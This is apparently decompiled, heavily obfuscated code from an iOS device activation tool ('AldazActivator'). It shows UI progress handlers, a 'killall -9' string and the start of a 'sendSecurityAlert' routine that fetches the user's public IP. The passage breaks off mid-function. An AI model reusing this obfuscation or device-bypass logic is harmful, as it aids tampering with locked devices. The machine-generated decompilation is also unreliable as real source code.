*(&v9 - 4) = (char *)__40__AppDelegate_deviceNotificationChecker__block_invoke;
*v14 = -1479240690;
break;
case -1576865649:
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
v2 = 1;
v9 = (char *)block + 32;
*((_QWORD *)block + 4) = self;
v3 = 1857421469;
v4 = -788728679;
goto LABEL_20;
}
}
if ( v11 != -2002134716 )
break;
*v14 = 2128247069;
}
if ( v11 != -1886625870 )
break;
dispatch_async(queue, block);
objc_release(queue);
v2 = 0;
v3 = -1950776161;
v4 = -1886625870;
LABEL_20:
if ( v2 )
v3 = v4;
LABEL_31:
*v14 = v3;
}
}
while ( v11 != -1950776161 );
}
//----- (00000001001EC9D7) ----------------------------------------------------
__int64 __fastcall __40__AppDelegate_deviceNotificationChecker__block_invoke(__int64 a1)
{
__int64 result; // rax
char v2; // cf
int v3; // eax
int v4; // ecx
bool v5; // zf
int v6; // ecx
bool v7; // cf
int v8; // ecx
_QWORD v9[2]; // [rsp+0h] [rbp-60h] BYREF
unsigned int v10; // [rsp+14h] [rbp-4Ch]
int v11; // [rsp+18h] [rbp-48h]
int v12; // [rsp+1Ch] [rbp-44h] BYREF
dispatch_block_t block; // [rsp+20h] [rbp-40h]
bool v14; // [rsp+2Dh] [rbp-33h]
char v15; // [rsp+2Eh] [rbp-32h]
char v16; // [rsp+2Fh] [rbp-31h]
int *v17; // [rsp+30h] [rbp-30h]
v10 = 252343734;
v12 = 1604634498;
v17 = &v12;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v12;
if ( v12 <= 316777264 )
break;
if ( v12 <= 1379518588 )
{
if ( v12 <= 818904505 )
{
switch ( v12 )
{
case 316777265:
asc_10028B6B0[2] = v16 ^ 0xF8;
asc_10028B6B0[3] = 105;
asc_10028B6B0[4] = 99;
asc_10028B6B0[5] = 101;
asc_10028B6B0[6] = 32;
asc_10028B6B0[7] = 99;
asc_10028B6B0[8] = 111;
asc_10028B6B0[9] = 110;
asc_10028B6B0[10] = 110;
asc_10028B6B0[11] = 101;
asc_10028B6B0[12] = 99;
asc_10028B6B0[13] = 116;
asc_10028B6B0[14] = 101;
asc_10028B6B0[15] = 100;
asc_10028B6B0[16] = 33;
asc_10028B6B0[17] = 0;
asc_10027CC88[0] = 83;
asc_10027CC88[1] = 117;
asc_10027CC88[2] = 99;
asc_10027CC88[3] = 99;
asc_10027CC88[4] = 101;
asc_10027CC88[5] = 115;
asc_10027CC88[6] = 115;
asc_10027CC88[7] = 0;
LABEL_80:
*v17 = 1839254761;
break;
case 438142050:
*v17 = 2142352758;
break;
case 625261390:
*v17 = -1823444640;
break;
}
}
else if ( v12 > 971238273 )
{
if ( v12 == 971238274 )
goto LABEL_80;
if ( v12 == 977593467 )
{
dword_10029F66C = 1;
block = &v9[-6];
*v17 = 1379518589;
}
}
else if ( v12 == 818904506 )
{
byte_10028B6FC = v15 ^ 0x9A;
byte_10028B6FD = 114;
byte_10028B6FE = 111;
byte_10028B6FF = 120;
byte_10028B700 = 121;
byte_10028B701 = 0;
asc_10028B6B0[0] = 68;
asc_10028B6B0[1] = 101;
*v17 = -1736386263;
}
else if ( v12 == 841335289 )
{
v5 = !v14;
v3 = 977593467;
v6 = -811266194;
goto LABEL_74;
}
}
else if ( v12 > 1733636430 )
{
if ( v12 > 1984962947 )
{
if ( v12 == 1984962948 )
{
v14 = v11 == 0;
v5 = 0;
v3 = 1984962948;
v6 = -1683874079;
LABEL_74:
if ( !v5 )
v3 = v6;
LABEL_82:
*v17 = v3;
}
else if ( v12 == 2142352758 )
{
v7 = 0;
v3 = 60228588;
v8 = 1984962948;
goto LABEL_70;
}
}
else if ( v12 == 1733636431 )
{
qmemcpy(&byte_10028B6F0, "killall -9 i", 12);
*v17 = 162766317;
}
else if ( v12 == 1839254761 )
{
asc_10028B6B0[2] = v16 ^ 0xF8;
asc_10028B6B0[3] = 105;
asc_10028B6B0[4] = 99;
asc_10028B6B0[5] = 101;
asc_10028B6B0[6] = 32;
asc_10028B6B0[7] = 99;
asc_10028B6B0[8] = 111;
asc_10028B6B0[9] = 110;
asc_10028B6B0[10] = 110;
asc_10028B6B0[11] = 101;
asc_10028B6B0[12] = 99;
asc_10028B6B0[13] = 116;
asc_10028B6B0[14] = 101;
asc_10028B6B0[15] = 100;
asc_10028B6B0[16] = 33;
asc_10028B6B0[17] = 0;
asc_10027CC88[0] = 83;
v2 = 1;
asc_10027CC88[1] = 117;
asc_10027CC88[2] = 99;
asc_10027CC88[3] = 99;
asc_10027CC88[4] = 101;
asc_10027CC88[5] = 115;
asc_10027CC88[6] = 115;
asc_10027CC88[7] = 0;
v3 = 1839254761;
v4 = -372970692;
goto LABEL_53;
}
}
else if ( v12 > 1604634497 )
{
if ( v12 == 1604634498 )
{
v7 = v10 < 0x5388FF17;
v3 = -1823444640;
v8 = 625261390;
LABEL_70:
if ( !v7 )
v3 = v8;
goto LABEL_82;
}
if ( v12 == 1689588279 )
{
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = __40__AppDelegate_deviceNotificationChecker__block_invoke_2;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
v9[1] = (char *)block + 32;
*((_QWORD *)block + 4) = *(_QWORD *)(a1 + 32);
dispatch_async(&_dispatch_main_q, block);
PairLoop();
HikariFunctionWrapper_19217(&byte_10028B6F0);
objc_msgSend(
AldazDevClass,
"NSControlUpdateProgress:withStatus:",
CFSTR("\x02\x97\xA3\xC7\x58'\xEA\x0E\xFA\xCA\x67\xD5\x31{\xDF\xC5\xCA\x7A"),
CFSTR("\x05\x80\xDF\x30\\q\xAE\x97"));
objc_msgSend(*(id *)(a1 + 32), "enableActivateButton");
v2 = 1;
v3 = 1689588279;
v4 = -1546665724;
LABEL_53:
if ( v2 )
v3 = v4;
goto LABEL_82;
}
}
else
{
if ( v12 == 1379518589 )
{
v3 = 1689588279;
goto LABEL_82;
}
if ( v12 == 1586516008 )
{
v2 = 0;
v3 = -1736386263;
v4 = 818904506;
goto LABEL_53;
}
}
}
if ( v12 <= -811266195 )
break;
if ( v12 <= -372970693 )
{
switch ( v12 )
{
case -811266194:
v3 = 162766317;
goto LABEL_82;
case -747564737:
*v17 = 971238274;
break;
case -518831621:
v5 = 0;
v3 = -518831621;
v6 = 841335289;
goto LABEL_74;
}
}
else if ( v12 > 60228587 )
{
if ( v12 == 60228588 )
{
*v17 = 1984962948;
}
else if ( v12 == 162766317 )
{
qmemcpy(&byte_10028B6F0, "killall -9 i", 12);
v5 = 0;
v15 = -22;
v3 = 162766317;
v6 = -1203025391;
goto LABEL_74;
}
}
else if ( v12 == -372970692 )
{
*v17 = 977593467;
}
else if ( v12 == -372651387 )
{
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = __40__AppDelegate_deviceNotificationChecker__block_invoke_2;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
*((_QWORD *)block + 4) = *(_QWORD *)(a1 + 32);
dispatch_async(&_dispatch_main_q, block);
HikariFunctionWrapper_19219();
HikariFunctionWrapper_19221(&byte_10028B6F0);
HikariFunctionWrapper_19223(AldazDevClass, "NSControlUpdateProgress:withStatus:");
objc_msgSend(*(id *)(a1 + 32), "enableActivateButton");
*v17 = 1689588279;
}
}
if ( v12 > -1640100797 )
break;
if ( v12 > -1736386264 )
{
if ( v12 == -1736386263 )
{
byte_10028B6FC = v15 ^ 0x9A;
byte_10028B6FD = 114;
byte_10028B6FE = 111;
byte_10028B6FF = 120;
byte_10028B700 = 121;
byte_10028B701 = 0;
asc_10028B6B0[0] = 68;
asc_10028B6B0[1] = 101;
v16 = -114;
*v17 = -747564737;
}
else if ( v12 == -1683874079 )
{
*v17 = -1640100796;
}
}
else if ( v12 == -2137613140 )
{
*v17 = -518831621;
}
else if ( v12 == -1823444640 )
{
v5 = 0;
v11 = dword_10029F66C;
v3 = -1823444640;
v6 = 438142050;
goto LABEL_74;
}
}
if ( v12 > -1273158921 )
break;
if ( v12 == -1640100796 )
{
v5 = 0;
v3 = -2137613140;
v6 = -518831621;
goto LABEL_74;
}
if ( v12 == -1546665724 )
*v17 = -1273158920;
}
if ( v12 != -1203025391 )
break;
*v17 = 1586516008;
}
}
while ( v12 != -1273158920 );
return result;
}
// 10028B6F0: using guessed type char byte_10028B6F0;
// 10028B6FC: using guessed type char byte_10028B6FC;
// 10028B6FD: using guessed type char byte_10028B6FD;
// 10028B6FE: using guessed type char byte_10028B6FE;
// 10028B6FF: using guessed type char byte_10028B6FF;
// 10028B700: using guessed type char byte_10028B700;
// 10028B701: using guessed type char byte_10028B701;
// 10028B730: using guessed type __CFString stru_10028B730;
// 10028B770: using guessed type __CFString stru_10028B770;
// 10029F66C: using guessed type int dword_10029F66C;
//----- (00000001001ED7A4) ----------------------------------------------------
__int64 __fastcall __40__AppDelegate_deviceNotificationChecker__block_invoke_2(__int64 a1)
{
__int64 result; // rax
char v2; // cf
int v3; // eax
int v4; // ecx
id v5; // r15
id v6; // rax
id v7; // r15
id v8; // r15
int v9; // ecx
bool v10; // zf
int v11; // ecx
id WeakRetained; // rax
id v13; // r15
id v14; // rax
id v15; // r15
const char *v16; // [rsp+8h] [rbp-58h]
id v17; // [rsp+10h] [rbp-50h]
int v18; // [rsp+24h] [rbp-3Ch]
int v19; // [rsp+28h] [rbp-38h] BYREF
bool v20; // [rsp+2Dh] [rbp-33h]
char v21; // [rsp+2Eh] [rbp-32h]
char v22; // [rsp+2Fh] [rbp-31h]
int *v23; // [rsp+30h] [rbp-30h]
v19 = -700425369;
v23 = &v19;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v19;
if ( v19 <= 107781031 )
break;
if ( v19 <= 878658739 )
{
if ( v19 <= 509450750 )
{
switch ( v19 )
{
case 107781032:
WeakRetained = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 128LL));
HikariFunctionWrapper_19225(WeakRetained, "setDoubleValue:");
objc_release(WeakRetained);
HikariFunctionWrapper_19227(*(void **)(*(_QWORD *)(a1 + 32) + 64LL), "setStringValue:");
v13 = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 128LL));
objc_msgSend(v13, "setHidden:", 0, 0.0);
objc_release(v13);
v14 = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 128LL));
HikariFunctionWrapper_19229(v14, "setIndeterminate:");
objc_release(v14);
v15 = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 128LL));
objc_msgSend(v15, "startAnimation:", *(_QWORD *)(a1 + 32));
objc_release(v15);
v16 = "setEnabled:";
HikariFunctionWrapper_19231(*(void **)(*(_QWORD *)(a1 + 32) + 88LL), "setEnabled:");
v2 = 1;
v17 = *(id *)(*(_QWORD *)(a1 + 32) + 96LL);
v3 = 107781032;
v4 = -2059921741;
goto LABEL_77;
case 286230135:
v10 = 0;
v3 = 1304477843;
v11 = 328866980;
LABEL_71:
if ( !v10 )
v3 = v11;
LABEL_79:
*v23 = v3;
break;
case 328866980:
v20 = v18 == 0;
v3 = 707250860;
goto LABEL_79;
}
}
else if ( v19 > 596887499 )
{
if ( v19 == 596887500 )
{
asc_10028B7C0[26] = v22;
asc_10028B7C0[27] = 116;
asc_10028B7C0[28] = 104;
asc_10028B7C0[29] = 101;
asc_10028B7C0[30] = 32;
asc_10028B7C0[31] = 115;
asc_10028B7C0[32] = 101;
asc_10028B7C0[33] = 114;
asc_10028B7C0[34] = 118;
asc_10028B7C0[35] = 105;
asc_10028B7C0[36] = 99;
asc_10028B7C0[37] = 101;
asc_10028B7C0[38] = 46;
asc_10028B7C0[39] = 46;
asc_10028B7C0[40] = 46;
asc_10028B7C0[41] = 0;
*v23 = -360486705;
}
else if ( v19 == 707250860 )
{
*v23 = 509450751;
}
}
else
{
if ( v19 == 509450751 )
{
v9 = 1949338755;
goto LABEL_69;
}
if ( v19 == 584169383 )
{
v5 = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 128LL));
objc_msgSend(v5, "setDoubleValue:", 0.0);
objc_release(v5);
objc_msgSend(
*(id *)(*(_QWORD *)(a1 + 32) + 64LL),
"setStringValue:",
CFSTR("\x05\x84E\xB9\x9E\xF0\x33\x83\x2F\xA0\xB7\x0Er\xF6\x53\x1E\xA2G\x19]\x9C\\\xAA\xB8L\xA4\xFA\x80\xFB\xB6\x8Bm\x05\xB3\xA8\x8D\b\x95єA\x8A"));
v6 = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 128LL));
HikariFunctionWrapper_19235(v6, "setHidden:");
objc_release(v6);
v7 = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 128LL));
objc_msgSend(v7, "setIndeterminate:", 1);
objc_release(v7);
v8 = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 128LL));
HikariFunctionWrapper_19237(v8, "startAnimation:");
objc_release(v8);
objc_msgSend(*(id *)(*(_QWORD *)(a1 + 32) + 88LL), "setEnabled:", 0);
*v23 = 107781032;
}
}
}
else if ( v19 > 1655153991 )
{
if ( v19 > 1949338754 )
{
if ( v19 == 1949338755 )
{
v9 = -682270280;
goto LABEL_69;
}
if ( v19 == 2004652923 )
{
asc_10028B7C0[20] = v21;
asc_10028B7C0[21] = 121;
asc_10028B7C0[22] = 32;
asc_10028B7C0[23] = 102;
asc_10028B7C0[24] = 111;
asc_10028B7C0[25] = 114;
v22 = 32;
*v23 = 596887500;
}
}
else if ( v19 == 1655153992 )
{
qmemcpy(asc_10028B7C0, "Checking compatibili", 20);
v21 = 116;
*v23 = -1935965676;
}
else if ( v19 == 1754054922 )
{
v2 = 1;
v3 = 584169383;
v4 = 107781032;
goto LABEL_77;
}
}
else if ( v19 > 1304477842 )
{
if ( v19 == 1304477843 )
{
*v23 = 328866980;
}
else if ( v19 == 1457398472 )
{
*v23 = -826707185;
}
}
else if ( v19 == 878658740 )
{
*v23 = 1754054922;
}
else if ( v19 == 1151804806 )
{
v2 = 0;
v3 = 1655153992;
v4 = -1961490936;
goto LABEL_77;
}
}
if ( v19 <= -998188346 )
break;
if ( v19 <= -682270281 )
{
switch ( v19 )
{
case -998188345:
HikariFunctionWrapper_19233(v17, v16);
v2 = 1;
v3 = -998188345;
v4 = -1913624376;
LABEL_77:
if ( v2 )
v3 = v4;
goto LABEL_79;
case -826707185:
v18 = dword_10029F670;
v3 = -1320880888;
goto LABEL_79;
case -700425369:
v2 = 0;
v3 = -826707185;
v4 = 1457398472;
goto LABEL_77;
}
}
else if ( v19 > -483679211 )
{
if ( v19 == -483679210 )
{
*v23 = 1949338755;
}
else if ( v19 == -360486705 )
{
v2 = 1;
v3 = -672662228;
v4 = -1608994167;
goto LABEL_77;
}
}
else
{
if ( v19 == -682270280 )
{
v10 = !v20;
v3 = -360486705;
v11 = 1151804806;
goto LABEL_71;
}
if ( v19 == -672662228 )
{
dword_10029F670 = 1;
*v23 = -1608994167;
}
}
}
if ( v19 > -1913624377 )
break;
if ( v19 > -1961490937 )
{
if ( v19 == -1961490936 )
{
qmemcpy(asc_10028B7C0, "Checking compatibili", 20);
*v23 = 1655153992;
}
else if ( v19 == -1935965676 )
{
*v23 = 2004652923;
}
}
else if ( v19 == -2140484891 )
{
objc_msgSend(v17, v16, 0);
*v23 = -998188345;
}
else if ( v19 == -2059921741 )
{
*v23 = -1108302677;
}
}
if ( v19 <= -1320880889 )
break;
if ( v19 == -1320880888 )
{
*v23 = 286230135;
}
else if ( v19 == -1108302677 )
{
v9 = -998188345;
LABEL_69:
v3 = v9;
goto LABEL_79;
}
}
if ( v19 == -1608994167 )
{
v10 = 0;
dword_10029F670 = 1;
v3 = -1608994167;
v11 = 878658740;
goto LABEL_71;
}
}
while ( v19 != -1913624376 );
return result;
}
// 1001EDB5A: variable 'v18' is possibly undefined
// 1001EDD79: variable 'v17' is possibly undefined
// 1001EDD79: variable 'v16' is possibly undefined
// 10028B810: using guessed type __CFString stru_10028B810;
// 10029F670: using guessed type int dword_10029F670;
//----- (00000001001EE468) ----------------------------------------------------
void __cdecl -[AppDelegate enableActivateButton](AppDelegate *self, SEL a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
char v5; // cf
int v6; // ecx
void **v7; // [rsp+8h] [rbp-68h] BYREF
int v8; // [rsp+10h] [rbp-60h]
int v9; // [rsp+14h] [rbp-5Ch]
__int64 (__fastcall *v10)(__int64); // [rsp+18h] [rbp-58h]
void *v11; // [rsp+20h] [rbp-50h]
char v12; // [rsp+28h] [rbp-48h] BYREF
AppDelegate **v13; // [rsp+30h] [rbp-40h]
int v14; // [rsp+3Ch] [rbp-34h] BYREF
int *v15; // [rsp+40h] [rbp-30h]
v7 = _NSConcreteStackBlock;
v8 = -1040187392;
v14 = 2062073178;
v15 = &v14;
do
{
while ( 1 )
{
while ( v14 <= -830072156 )
{
if ( v14 > -1952222162 )
{
if ( v14 == -1952222161 )
{
*v13 = self;
HikariFunctionWrapper_19239(&_dispatch_main_q, &v7);
v2 = 0;
v3 = 83123563;
v4 = 2106137886;
LABEL_22:
if ( !v2 )
v3 = v4;
goto LABEL_24;
}
if ( v14 == -1035094852 )
*v15 = -2001001163;
}
else if ( v14 == -2093722442 )
{
v5 = 0;
v9 = 0;
v10 = __35__AppDelegate_enableActivateButton__block_invoke;
v11 = &__block_descriptor_40_e8_32s_e5_v8__0l;
v13 = (AppDelegate **)&v12;
v3 = -1035094852;
v6 = -830072155;
LABEL_18:
if ( v5 )
v3 = v6;
LABEL_24:
*v15 = v3;
}
else if ( v14 == -2001001163 )
{
v2 = 1;
v3 = -1952222161;
v4 = 83123563;
goto LABEL_22;
}
}
if ( v14 > 2062073177 )
break;
if ( v14 == -830072155 )
{
v9 = 0;
v10 = __35__AppDelegate_enableActivateButton__block_invoke;
v11 = &__block_descriptor_40_e8_32s_e5_v8__0l;
*v15 = -2093722442;
}
else if ( v14 == 83123563 )
{
*v13 = self;
HikariFunctionWrapper_19241(&_dispatch_main_q, &v7);
*v15 = -1952222161;
}
}
if ( v14 == 2062073178 )
{
v5 = 1;
v3 = -830072155;
v6 = -2093722442;
goto LABEL_18;
}
}
while ( v14 != 2106137886 );
}
//----- (00000001001EE6EA) ----------------------------------------------------
__int64 __fastcall __35__AppDelegate_enableActivateButton__block_invoke(__int64 a1)
{
__int64 result; // rax
id v2; // rax
id v3; // r14
id v4; // r14
int v5; // ecx
id WeakRetained; // r14
id v7; // r14
id v8; // r14
int v9; // eax
id v10; // [rsp+0h] [rbp-60h]
id *location; // [rsp+18h] [rbp-48h]
int v12; // [rsp+24h] [rbp-3Ch] BYREF
__int64 v13; // [rsp+28h] [rbp-38h]
int *v14; // [rsp+30h] [rbp-30h]
v12 = -605859262;
v14 = &v12;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v12;
if ( v12 > -507872856 )
break;
if ( v12 > -890822158 )
{
if ( v12 == -890822157 )
{
v13 = a1 + 32;
v10 = *(id *)(*(_QWORD *)(a1 + 32) + 88LL);
v5 = -1234947461;
goto LABEL_20;
}
if ( v12 == -605859262 )
{
v9 = -890822157;
goto LABEL_21;
}
}
else
{
if ( v12 == -1627725584 )
{
v5 = 1365823600;
goto LABEL_20;
}
if ( v12 == -1234947461 )
*v14 = -507872855;
}
}
if ( v12 > 889715905 )
break;
if ( v12 == -507872855 )
{
objc_msgSend(v10, "setEnabled:", 1);
HikariFunctionWrapper_19243(*(void **)(*(_QWORD *)v13 + 96LL), "setEnabled:");
location = (id *)(*(_QWORD *)v13 + 128LL);
*v14 = -1627725584;
}
else if ( v12 == 742466308 )
{
WeakRetained = objc_loadWeakRetained(location);
objc_msgSend(WeakRetained, "setHidden:", 1);
objc_release(WeakRetained);
v7 = objc_loadWeakRetained((id *)(*(_QWORD *)v13 + 128LL));
objc_msgSend(v7, "setIndeterminate:", 1);
objc_release(v7);
v8 = objc_loadWeakRetained((id *)(*(_QWORD *)v13 + 128LL));
HikariFunctionWrapper_19249(v8, "stopAnimation:");
objc_release(v8);
*v14 = 1365823600;
}
}
if ( v12 != 889715906 )
break;
*v14 = -890822157;
}
if ( v12 != 1365823600 )
break;
v2 = objc_loadWeakRetained(location);
HikariFunctionWrapper_19245(v2, "setHidden:");
objc_release(v2);
v3 = objc_loadWeakRetained((id *)(*(_QWORD *)v13 + 128LL));
objc_msgSend(v3, "setIndeterminate:", 1);
objc_release(v3);
v4 = objc_loadWeakRetained((id *)(*(_QWORD *)v13 + 128LL));
HikariFunctionWrapper_19247(v4, "stopAnimation:");
objc_release(v4);
v5 = 1383116835;
LABEL_20:
v9 = v5;
LABEL_21:
*v14 = v9;
}
}
while ( v12 != 1383116835 );
return result;
}
// 1001EE92D: conditional instruction was optimized away because %var_40.4==EA01634F
// 1001EE7A5: variable 'location' is possibly undefined
// 1001EE948: variable 'v10' is possibly undefined
//----- (00000001001EEA39) ----------------------------------------------------
void __cdecl -[AppDelegate DisableFunctions:](AppDelegate *self, SEL a2, id a3)
{
char v3; // cf
int v4; // eax
int v5; // ecx
_QWORD v6[2]; // [rsp+0h] [rbp-50h] BYREF
unsigned int v7; // [rsp+10h] [rbp-40h]
int v8; // [rsp+14h] [rbp-3Ch] BYREF
int *v9; // [rsp+18h] [rbp-38h]
_DWORD *v10; // [rsp+20h] [rbp-30h]
v7 = -834859780;
v8 = 521894120;
v9 = &v8;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v8 > -286959520 )
{
if ( v8 > 521894119 )
{
switch ( v8 )
{
case 1259429219:
v10[2] = -1040187392;
v10[3] = 0;
*((_QWORD *)v10 + 2) = __32__AppDelegate_DisableFunctions___block_invoke;
*((_QWORD *)v10 + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
*((_QWORD *)v10 + 4) = self;
LABEL_29:
*v9 = -2066411505;
break;
case 645949271:
v6[-6] = _NSConcreteStackBlock;
*v9 = 130961235;
break;
case 521894120:
v4 = 130961235;
if ( v7 < 0x3589A3D2 )
v4 = 645949271;
goto LABEL_33;
}
}
else
{
switch ( v8 )
{
case -286959519:
*v9 = -1185450147;
break;
case 130961235:
v10 = &v6[-6];
v6[-6] = _NSConcreteStackBlock;
v4 = 223271331;
goto LABEL_33;
case 223271331:
*v9 = -403527676;
break;
}
}
}
if ( v8 > -868601346 )
break;
switch ( v8 )
{
case -2066411505:
v10[2] = -1040187392;
v10[3] = 0;
*((_QWORD *)v10 + 2) = __32__AppDelegate_DisableFunctions___block_invoke;
*((_QWORD *)v10 + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
v3 = 1;
v6[1] = v10 + 8;
*((_QWORD *)v10 + 4) = self;
v4 = -286959519;
v5 = -2066411505;
LABEL_24:
if ( !v3 )
v4 = v5;
LABEL_33:
*v9 = v4;
break;
case -1719168652:
HikariFunctionWrapper_19251(&_dispatch_main_q, v10);
v4 = -749048933;
goto LABEL_33;
case -1185450147:
v3 = 0;
v4 = -868601345;
v5 = -1719168652;
goto LABEL_24;
}
}
if ( v8 != -868601345 )
break;
HikariFunctionWrapper_19253(&_dispatch_main_q, v10);
*v9 = -1719168652;
}
if ( v8 == -403527676 )
goto LABEL_29;
}
while ( v8 != -749048933 );
}
//----- (00000001001EED5C) ----------------------------------------------------
__int64 __fastcall __32__AppDelegate_DisableFunctions___block_invoke(__int64 a1)
{
__int64 result; // rax
char v2; // cf
int v3; // eax
int v4; // ecx
id v5; // rax
id v6; // r14
id v7; // r14
id v8; // r14
id v9; // r14
id WeakRetained; // r15
__int64 v11; // [rsp+8h] [rbp-48h]
int v12; // [rsp+14h] [rbp-3Ch] BYREF
_QWORD *v13; // [rsp+18h] [rbp-38h]
int *v14; // [rsp+20h] [rbp-30h]
v12 = 1695410358;
v14 = &v12;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v12;
if ( v12 > -167937844 )
break;
if ( v12 > -1823788429 )
{
if ( v12 == -1823788428 )
{
v13 = (_QWORD *)(a1 + 32);
HikariFunctionWrapper_19255(*(void **)(*(_QWORD *)(a1 + 32) + 88LL), "setEnabled:");
objc_msgSend(*(id *)(*v13 + 96LL), "setEnabled:", 1);
WeakRetained = objc_loadWeakRetained((id *)(*v13 + 128LL));
HikariFunctionWrapper_19257(WeakRetained, "setHidden:");
objc_release(WeakRetained);
v3 = -167937843;
goto LABEL_23;
}
if ( v12 == -411040625 )
{
v8 = objc_loadWeakRetained((id *)(v11 + 128));
objc_msgSend(v8, "setIndeterminate:", 1);
objc_release(v8);
v9 = objc_loadWeakRetained((id *)(*v13 + 128LL));
objc_msgSend(v9, "stopAnimation:", *v13);
objc_release(v9);
v2 = 1;
v3 = -411040625;
v4 = 791389489;
goto LABEL_21;
}
}
else if ( v12 == -2092520094 )
{
v11 = *v13;
*v14 = 1694882254;
}
else if ( v12 == -1865112846 )
{
v5 = objc_loadWeakRetained((id *)(v11 + 128));
HikariFunctionWrapper_19261(v5, "setIndeterminate:");
objc_release(v5);
v6 = objc_loadWeakRetained((id *)(*v13 + 128LL));
objc_msgSend(v6, "stopAnimation:", *v13);
objc_release(v6);
*v14 = -411040625;
}
}
if ( v12 > 791389488 )
break;
if ( v12 == -167937843 )
{
*v14 = -2092520094;
}
else if ( v12 == 408491676 )
{
HikariFunctionWrapper_19259(*(void **)(*(_QWORD *)(a1 + 32) + 88LL), "setEnabled:");
objc_msgSend(*(id *)(*(_QWORD *)(a1 + 32) + 96LL), "setEnabled:", 1);
v7 = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 128LL));
objc_msgSend(v7, "setHidden:", 1);
objc_release(v7);
*v14 = -1823788428;
}
}
if ( v12 != 1694882254 )
break;
v2 = 0;
v3 = -411040625;
v4 = -1865112846;
LABEL_21:
if ( v2 )
v3 = v4;
LABEL_23:
*v14 = v3;
}
if ( v12 == 1695410358 )
{
v2 = 1;
v3 = 408491676;
v4 = -1823788428;
goto LABEL_21;
}
}
while ( v12 != 791389489 );
return result;
}
// 1001EEE29: variable 'v11' is possibly undefined
//----- (00000001001EF0E7) ----------------------------------------------------
#error "1001EF0E7: too big function (funcsize=0)"
//----- (00000001001FFD86) ----------------------------------------------------
__int64 __fastcall sendSecurityAlert(void *a1, void *a2)
{
NSURL *v2; // rax
NSMutableURLRequest *v3; // rax
NSMutableURLRequest *v4; // rbx
NSHost *v5; // rax
NSHost *v6; // r12
NSString *v7; // rax
__CFString *v8; // rax
__CFString *v9; // r15
__CFString *v10; // rbx
NSString *v11; // rax
__CFString *v12; // rax
__CFString *v13; // r15
__CFString *v14; // r12
_QWORD *v15; // rax
_QWORD *v16; // r13
NSURL *v17; // rax
id v18; // rbx
NSURLSession *v19; // rax
NSURLSession *v20; // rax
id *v21; // rcx
void *v22; // r13
id v23; // r13
dispatch_semaphore_s *v24; // rbx
id v25; // r14
id v26; // rax
id v27; // r15
dispatch_time_t v28; // rax
id v29; // rbx
NSString *v30; // rax
NSString *v31; // rax
_QWORD *v32; // r14
NSString *v33; // r13
_QWORD *v34; // rdi
id v35; // r8
id v36; // r9
_QWORD *v37; // rdx
NSDate *v38; // rax
id v39; // rax
id v40; // r15
_QWORD *v41; // rsi
_QWORD *v42; // rdi
NSDictionary *v43; // rax
NSDictionary *v44; // rbx
NSData *v45; // rax
__int64 v46; // rdx
id v47; // rax
id v48; // rdi
id v49; // rbx
NSURLSession *v50; // rax
NSURLSession *v51; // r13
id v52; // rax
id v53; // rbx
NSURLSessionUploadTask *v54; // rax
NSURLSessionUploadTask *v55; // r13
id v56; // r15
id v57; // r13
id v58; // r14
id v59; // r15
id v60; // r12
__int64 v62; // [rsp+0h] [rbp-D0h] BYREF
id v63; // [rsp+10h] [rbp-C0h] BYREF
dispatch_block_t block; // [rsp+18h] [rbp-B8h]
id v65; // [rsp+20h] [rbp-B0h]
id v66; // [rsp+28h] [rbp-A8h]
id v67; // [rsp+30h] [rbp-A0h]
id v68; // [rsp+38h] [rbp-98h]
id v69; // [rsp+40h] [rbp-90h]
id v70; // [rsp+48h] [rbp-88h]
id v71; // [rsp+50h] [rbp-80h]
id v72; // [rsp+58h] [rbp-78h]
id v73; // [rsp+60h] [rbp-70h]
id v74; // [rsp+68h] [rbp-68h]
id *v75; // [rsp+70h] [rbp-60h]
id v76; // [rsp+78h] [rbp-58h]
id v77; // [rsp+80h] [rbp-50h]
id v78; // [rsp+88h] [rbp-48h]
void *v79; // [rsp+90h] [rbp-40h]
id v80; // [rsp+98h] [rbp-38h]
__int64 v81; // [rsp+A0h] [rbp-30h]
v81 = -1;
if ( !dword_10029F688 )
{
asc_10028471E[0] = 80;
asc_10028471E[1] = 79;
asc_10028471E[2] = 83;
asc_10028471E[3] = 84;
asc_10028471E[4] = 0;
strcpy(asc_10028F2C0, "https://api.ipify.org");
strcpy(aN_24, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
strcpy(a6go, "dispositivo");
aE_29[0] = 102;
aE_29[1] = 101;
aE_29[2] = 99;
aE_29[3] = 104;
aE_29[4] = 97;
aE_29[5] = 0;
asc_10028F10B[0] = 101;
asc_10028F10B[1] = 118;
asc_10028F10B[2] = 101;
asc_10028F10B[3] = 110;
asc_10028F10B[4] = 116;
asc_10028F10B[5] = 111;
asc_10028F10B[6] = 0;
strcpy(aPo, "unknown_ip");
strcpy(aC_15, "Content-Type");
